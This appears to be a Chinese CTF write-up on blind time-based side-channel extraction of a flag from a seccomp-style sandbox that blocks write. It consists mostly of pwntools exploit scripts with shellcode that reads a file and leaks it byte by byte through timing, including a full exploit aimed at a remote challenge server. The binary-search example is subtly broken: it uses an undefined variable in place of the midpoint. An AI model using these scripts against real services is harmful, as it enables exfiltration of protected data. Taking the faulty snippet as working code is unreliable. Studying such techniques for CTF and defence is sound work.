ORW:侧信道时间盲注
顾一莘 发表于 江苏 二进制安全 62浏览 · 2025-01-03 13:22

原理

沙箱禁用write的时候可以通过shellcode逐位爆破,先将flag读到栈上,再依次爆破栈上每一位的内容,通过cmp比较的结果跳转到死循环,再根据接收数据的时间差判断是否进入死循环

shellcode

遍历字符集

flag出现的字符种类较少的时候使用,直接cmp判断相同的时候跳到死循环,即je,此时字符集中的顺序会影响效率

for i in range (len(flag),50):
    for j in charset:
        global r
        r = process('./pwn')
        sleep(3)
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            je $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
        except:
            pass
        else:
            if start_time > 2:
                flag += j
                break
        li('flag = ' + flag)
    if flag[-1]=="}":
        break

二分法

如果字符范围较大可以使用二分法进行优化,即利用ja在大于的时候跳转到死循环,遍历0x20-0x80

for i in range (len(flag),50):
    left = 0
    right = 127
    while left < right:
        global r
        r = process('./pwn')
        mid = (left + right) >> 1
        sleep(3)
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            ja $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
            if start_time > 2:
                left = mid + 1
        except:
            pass
        else:
            right = mid
        li('flag = ' + flag)
    flag += chr(left)
    if flag[-1]=="}":
        break

例题-nepbox

本题就是输入shellcode并且在子进程执行,执行前会进行检查禁用一些系统调用,比如execve,并且把write的参数给篡改了,直接时间盲注爆破,靶机越打越慢,重启很多次靶机最终凑出flag

if ( syscall_id != 1 )
        {
LABEL_47:
          puts("Bad System Call");
          sub_1467(v7);
        }
        v8 = rand() % dword_4010;
        v24 = (&off_4020)[v8];
        v23 = strlen((&off_4020)[v8]);
        ptrace(PTRACE_SETREGS, (unsigned int)v7, 0LL, v21);

最终构造exp如下:

from pwn import *
import time

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

def dbg():
    gdb.attach(r)

charset = '0123456789abcdef'
flag = 'NepCTF{'

for i in range (len(flag),50):
    for j in charset:
        global r
        #r = process('./pwn')
        sleep(3)
        r=remote('neptune-33443.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            je $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
        except:
            pass
        else:
            if start_time > 2:
                flag += j
                break
        li('flag = ' + flag)
    if flag[-1]=="}":
        break

li(flag)

r.interactive()

注意点

陷入死循环一次clean时间在2秒,除了跳转到死循环的,在比较时不相同也是有时间差的,远程打的越久时间差越大,这种时候可以通过:增加clean的次数,每增加一次死循环后的时间+2,或者把爆破出来的内容添加到flag中之后重启远程。爆破出来的值也不完全准确,需要多次测试。

0 条评论
某人
表情
可输入 255